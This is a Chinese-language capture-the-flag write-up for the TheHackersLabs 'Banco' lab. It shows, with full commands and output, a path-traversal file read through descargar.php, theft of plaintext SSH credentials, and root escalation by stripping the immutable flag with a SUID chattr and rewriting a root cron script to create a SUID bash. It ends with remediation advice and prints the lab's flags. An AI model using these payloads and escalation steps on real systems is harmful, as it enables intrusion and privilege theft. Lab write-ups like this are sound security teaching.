跳到主要内容

TheHackersLabs Banco 通关记录|LFI 凭据泄露与 SUID chattr 定时任务提权

靶机链接:Banco

复现地址

本文命令以攻击机 192.168.1.113、靶机 192.168.1.102 为例。靶机重启或网络环境变化后,请替换为实际地址。

术语说明

为便于检索,标题沿用常见的 LFI 表述;严格来说,这里的 descargar.php 是路径穿越导致的任意本地文件内容读取,并没有通过 includerequire 执行被读取文件。


0x01 基本信息

名称IP说明
Kali Linux192.168.1.113攻击机
TheHackersLabs-Banco192.168.1.102Debian 12 (bookworm) 靶机
复现工具依赖

文中使用 Nmap、curl、grep、jq、sshpass 和 OpenSSH 客户端,复现前请确认 攻击机已安装这些工具。


攻击流程

点击展开

攻击链摘要

阶段关键证据 / 操作作用
服务发现22/tcp80/tcp锁定 SSH 与 Web 攻击面
Web 分析登录逻辑完全位于前端,表单调用 descargar.php发现客户端认证缺陷与下载入口
任意文件读取archivo=../../../../etc/passwd确认路径穿越与 LFI
源码确认archivo=../descargar.php确认用户输入直接拼接到文件路径
凭据泄露读取 dbsuperscretinfact.json获得 wvverez 的 SSH 明文密码
初始访问SSH 登录 wvverez获得普通用户 shell 与 User Flag
提权入口SUID /usr/bin/chattr + 0777 backup.sh + root cron可移除 immutable 后改写 root 执行脚本
Root Bashroot cron 创建 /home/wvverez/rootbash 并设置 4755获得 euid=0(root)
Root Flag读取 /root/root.txt完成通关

0x02 侦察与信息收集

1. TCP 全端口扫描

使用 Nmap 扫描全部 TCP 端口:

nmap -p- -Pn --disable-arp-ping --min-rate 5000 -v \
-oN nmap-full-ports.txt 192.168.1.102

输出:

Nmap scan report for TheHackersLabs-Banco.lan (192.168.1.102)
Host is up (7.9s latency).
Not shown: 53465 filtered tcp ports (no-response), 12068 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: 1C:75:C8:F1:64:A8 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 125.93 seconds

目标仅暴露 SSH 与 HTTP,后续对这两个端口进行脚本扫描和版本识别。

2. 服务与版本识别

nmap -Pn -sC -sV -p22,80 \
-oN nmap-services-final.txt 192.168.1.102

输出:

Nmap scan report for TheHackersLabs-Banco.lan (192.168.1.102)
Host is up (0.014s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u9 (protocol 2.0)
| ssh-hostkey:
| 256 af:79:a1:39:80:45:fb:b7:cb:86:fd:8b:62:69:4a:64 (ECDSA)
|_ 256 6d:d4:9d:ac:0b:f0:a1:88:66:b4:ff:f6:42:bb:f2:e5 (ED25519)
80/tcp open http Apache httpd 2.4.66 ((Debian))
|_http-server-header: Apache/2.4.66 (Debian)
|_http-title: Banco de España | Portal Corporativo
MAC Address: A8:64:F1:C8:75:1C (Intel Corporate)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nmap done: 1 IP address (1 host up) scanned in 7.55 seconds

SSH 需要凭据,因此优先检查 80 端口的 Banco 企业门户。


0x03 Web 分析与任意文件读取

1. 客户端认证与下载入口

保存首页并搜索登录逻辑和文件下载表单:

curl -sS http://192.168.1.102/ -o index.html
grep -nE "currentPassword|user ===|action=\"descargar.php\"|name=\"archivo\"" index.html

输出:

596:<form id="pdfForm" method="POST" action="descargar.php" target="_blank">
597:<input type="hidden" name="archivo" value="sobrenosotros.pdf">
633:let currentPassword = 'DNASdada11THL';
640:if (user === 'admin' && pass === currentPassword) {
671:if (user === 'admin') {
674:document.getElementById('currentPassSpan').textContent = currentPassword;
709:currentPassword = newPass;

登录校验完全由浏览器 JavaScript 完成,前端直接暴露 admin:DNASdada11THL。这只是客户端界面控制,并未对后端 descargar.php 建立有效的服务器端访问控制;后续请求无需先登录 admin,可以直接向该接口发送 POST 请求。

2. 路径穿越读取 /etc/passwd

下载表单通过 POST 参数 archivo 指定文件名。将参数替换为目录穿越路径:

curl -sS http://192.168.1.102/descargar.php \
-d 'archivo=../../../../etc/passwd' \
| grep -E '^(root|www-data|wvverez):'

输出:

root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
wvverez:x:1001:1001:wvverez,,,:/home/wvverez:/bin/bash

确认 archivo 参数存在路径穿越与任意本地文件读取,同时发现可登录用户 wvverez

3. 读取 descargar.php 源码

根据页面与返回路径判断,Web 根目录为 /var/www/html,下载目录为 /var/www/html/informes。使用一个 ../ 回到 Web 根目录读取脚本本身:

curl -sS http://192.168.1.102/descargar.php \
-d 'archivo=../descargar.php'

关键源码:

<?php
$archivo_solicitado = $_POST['archivo'] ?? '';
$directorio_base = __DIR__ . '/informes/';
$ruta_completa = $directorio_base . $archivo_solicitado;

if (file_exists($ruta_completa)) {
$contenido = file_get_contents($ruta_completa);
header('Content-Type: text/plain');
header('Content-Disposition: attachment; filename="informe_banco_espana.pdf"');
header('Content-Length: ' . strlen($contenido));
echo $contenido;
} else {
http_response_code(404);
}
?>

漏洞根因是服务端直接把 archivo 拼接到基础目录,没有执行 realpath() 边界检查、文件名白名单或路径标准化。

4. 读取明文凭据文件

文件名发现过程的证据边界

原始复现记录没有保留 dbsuperscretinfact.json 文件名的发现过程,本地也没有其他日志可以补证。 为避免虚构枚举命令或输出,下面仅保留对这个已知文件名的验证步骤。独立复现 时,还需要根据完整页面源码、备份线索或目录泄露另行确认该文件名。

使用原始记录中已经确认的文件名读取 Web 根目录下的数据库文件,并用 jq 提取可登录用户:

curl -sS http://192.168.1.102/descargar.php \
-d 'archivo=../dbsuperscretinfact.json' \
| jq '.users[] | select(.username == "wvverez")'

输出:

{
"id": 3,
"username": "wvverez",
"password": "dasjbdaDASJDASDA11E1DAJDQA",
"role": "user",
"email": "wvverez@thehackerslabs.com",
"ssh_key": "/home/wvverez/.ssh/id_rsa",
"created_at": "2024-02-20 14:22:10"
}

得到 SSH 凭据:

wvverez:dasjbdaDASJDASDA11E1DAJDQA

0x04 SSH 初始访问

1. 登录并确认身份

sshpass -p 'dasjbdaDASJDASDA11E1DAJDQA' \
ssh -o StrictHostKeyChecking=no \
-o UserKnownHostsFile=/dev/null \
wvverez@192.168.1.102

登录后执行:

id
hostname
uname -a
cat /etc/os-release

输出:

uid=1001(wvverez) gid=1001(wvverez) groups=1001(wvverez),100(users)
TheHackersLabs-Banco
Linux TheHackersLabs-Banco 6.1.0-44-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.164-1 (2026-03-09) x86_64 GNU/Linux

PRETTY_NAME="Debian GNU/Linux 12 (bookworm)"
NAME="Debian GNU/Linux"
VERSION_ID="12"
VERSION="12 (bookworm)"
VERSION_CODENAME=bookworm
ID=debian

2. User Flag

ls -l /home/wvverez/user.txt
cat /home/wvverez/user.txt

输出:

-rw-r--r-- 1 wvverez wvverez 42 Jun 7 01:37 /home/wvverez/user.txt
THL{dadDADADASJDANJDSDADLASasadanjdaibda}

3. sudo 权限

printf '%s\n' 'dasjbdaDASJDASDA11E1DAJDQA' | sudo -S -l

输出:

[sudo] password for wvverez:
Sorry, user wvverez may not run sudo on TheHackersLabs-Banco.

wvverez 没有 sudo 授权,下一步检查 SUID 文件、定时任务和可写脚本。


0x05 权限提升

1. SUID 枚举

find / -xdev -perm -4000 -type f -exec ls -l {} \; 2>/dev/null

标准系统 SUID 文件之外,发现 chattrlsattr 被异常设置为 SUID root:

-rwsr-xr-x 1 root root 14584 Jun 6 2025 /usr/bin/lsattr
-rwsr-xr-x 1 root root 14584 Jun 6 2025 /usr/bin/chattr

chattr 用于修改 ext 文件系统属性。它以 root 有效身份运行时,可移除普通用户 本来无权更改的 immutable 属性。

2. 发现周期运行的备份脚本

检查 /usr/local/bin 中的异常权限文件:

ls -l /usr/bin/chattr /usr/local/bin/backup.sh
lsattr /usr/local/bin/backup.sh
cat /usr/local/bin/backup.sh
多次复现的输出时间

本节原始输出采集自多次复现,文件修改时间和日志时间并非 一次终端会话中的严格时间顺序。为保持原始执行结果,下面的 08:1708:1808:2508:27 时间戳均未改写。

输出:

-rwsr-xr-x 1 root root 14584 Jun 6 2025 /usr/bin/chattr
-rwxrwxrwx 1 root root 429 Jul 28 08:18 /usr/local/bin/backup.sh
----i---------e------- /usr/local/bin/backup.sh
#!/bin/bash
# backup.sh - Script para respaldar db.json

BACKUP_DIR="/var/backups"
SOURCE_FILE="/var/www/html/db.json"
DEST_FILE="$BACKUP_DIR/db_backup_$(date +'%Y%m%d_%H%M%S').json"
LOG_FILE="/var/log/backup.log"

mkdir -p "$BACKUP_DIR"

cp "$SOURCE_FILE" "$DEST_FILE" 2>/dev/null

echo "$(date) - Backup creado: $DEST_FILE" >> "$LOG_FILE"

ls -t $BACKUP_DIR/db_backup_*.json 2>/dev/null | tail -n +11 | xargs rm -f 2>/dev/null

脚本归 root 所有但权限为 0777。immutable 属性暂时阻止写入,但 SUID chattr 可以移除此保护。

查看备份日志:

tail -3 /var/log/backup.log

输出:

mar 28 jul 2026 08:25:02 CEST - Backup creado: /var/backups/db_backup_20260728_082501.json
mar 28 jul 2026 08:26:01 CEST - Backup creado: /var/backups/db_backup_20260728_082601.json
mar 28 jul 2026 08:27:01 CEST - Backup creado: /var/backups/db_backup_20260728_082701.json

日志每分钟新增记录,说明脚本由定时任务持续执行。此时仅凭日志还不能确定 执行用户;后续生成的 root 所有 SUID Bash,以及提权后读取到的 root crontab, 共同确认该任务由 root 每分钟执行。

3. 移除 immutable 并写入 Root Bash 载荷

使用 SUID chattr 移除 immutable 属性:

/usr/bin/chattr -i /usr/local/bin/backup.sh
lsattr /usr/local/bin/backup.sh

输出:

--------------e------- /usr/local/bin/backup.sh

将脚本覆盖为 SUID Bash 创建载荷。最终文件放在用户家目录;文件系统是否允许 SUID 生效,以下一步实际生成的 4755 文件和 euid=0(root) 验证结果为准:

cat > /usr/local/bin/backup.sh <<'EOF'
#!/bin/bash
cp /bin/bash /home/wvverez/rootbash
chown root:root /home/wvverez/rootbash
chmod 4755 /home/wvverez/rootbash
EOF

确认写入内容:

ls -l /usr/local/bin/backup.sh
cat /usr/local/bin/backup.sh

输出:

-rwxrwxrwx 1 root root 121 Jul 28 08:17 /usr/local/bin/backup.sh
#!/bin/bash
cp /bin/bash /home/wvverez/rootbash
chown root:root /home/wvverez/rootbash
chmod 4755 /home/wvverez/rootbash

等待下一次定时任务:

while [ ! -u /home/wvverez/rootbash ]; do sleep 2; done
ls -l /home/wvverez/rootbash

其中 [ -u 文件 ] 用于检查目标文件是否已经设置 SUID 位。

输出:

-rwsr-xr-x 1 root root 1265648 Jul 28 08:18 /home/wvverez/rootbash

4. 验证 root 权限

SUID Bash 需要使用 -p 保留有效身份。这里真实用户仍是 wvverez,SUID 带来的是 euid=0(root)-p 会要求 Bash 保留这个有效身份,否则 Bash 会出于安全策略放弃 SUID 带来的权限:

/home/wvverez/rootbash -p -c 'id; whoami; cat /root/root.txt'

输出:

uid=1001(wvverez) gid=1001(wvverez) euid=0(root) groups=1001(wvverez),100(users)
root
THL{dadDADADASJDadfgsdgag50g50}

需要完整的真实 UID/GID 0 shell 时,可以在 Root Bash 中调用 setpriv

/home/wvverez/rootbash -p -c \
'setpriv --reuid=0 --regid=0 --clear-groups /bin/bash'

验证完整 root 身份并读取 root crontab:

id
crontab -l

输出:

uid=0(root) gid=0(root) groups=0(root)

* * * * * /usr/local/bin/backup.sh

至此确认 /usr/local/bin/backup.sh 确实由 root 每分钟执行,且已获得完整 root 权限。


0x06 最终成果 (Final Flags)

User Flag

  • 路径: /home/wvverez/user.txt
  • 内容: THL{dadDADADASJDANJDSDADLASasadanjdaibda}

Root Flag

  • 路径: /root/root.txt
  • 内容: THL{dadDADADASJDadfgsdgag50g50}

0x07 漏洞复盘与修复建议

风险点影响修复建议
客户端 JavaScript 认证凭据和认证逻辑可被直接读取、修改或绕过将认证、授权和会话校验迁移到服务端;密码使用强哈希保存
descargar.php 路径穿越可读取 /etc/passwd、源码、配置和凭据文件使用固定文件 ID 或严格白名单;对 realpath() 结果检查是否仍位于允许目录
Web 根目录保存明文凭据LFI 可直接泄露 SSH 密码、API Key 和 JWT Secret将密钥移出 Web 根目录,接入 Secret Manager,并轮换所有已泄露凭据
SSH 密码复用Web 数据泄露可直接转化为系统登录禁用密码登录或启用强密码、SSH Key、MFA 和登录速率限制
chattr/lsattr 设置 SUID root普通用户可修改本应仅 root 可变更的文件属性执行 chmod u-s /usr/bin/chattr /usr/bin/lsattr,审计所有异常 SUID 文件
backup.sh 权限为 0777任意本地用户可修改 root 定时执行内容设置 root:root0750 或更严格权限,并对脚本做完整性监控
root cron 直接执行可写脚本文件权限失守后立即形成稳定 root 提权定时任务只执行 root 独占、不可被低权限用户修改的绝对路径文件
SUID Root Bash 残留任意可执行该文件的用户都可获得 root 权限完成验证后删除 /home/wvverez/rootbash,检查同类 SUID 文件并轮换凭据

推荐修复命令:

chmod u-s /usr/bin/chattr /usr/bin/lsattr
chown root:root /usr/local/bin/backup.sh
chmod 0750 /usr/local/bin/backup.sh
rm -f /home/wvverez/rootbash
find / -xdev -perm -4000 -type f -ls 2>/dev/null

0x08 总结

Banco 的完整攻击链由三个可直接串联的问题组成:

  1. descargar.php 直接拼接用户输入,形成路径穿越与任意文件读取。
  2. Web 根目录中的 JSON 文件明文保存系统用户密码,使 LFI 直接转化为 SSH 初始访问。
  3. SUID chattr 可以移除 backup.sh 的 immutable 属性,而该脚本同时为 0777 并由 root 每分钟执行,最终可稳定生成 SUID Root Bash。

最终利用链为:

Nmap
→ descargar.php 路径穿越
→ dbsuperscretinfact.json 明文凭据
→ SSH wvverez
→ SUID chattr 移除 immutable
→ 改写 root cron 的 backup.sh
→ /home/wvverez/rootbash -p
→ root

本次最终路径不依赖内核漏洞、WebShell 或其他不稳定竞争条件,攻击链较短。 除前文已说明的凭据文件名发现记录缺失外,已知该文件名之后的利用步骤证据 完整且可重复验证。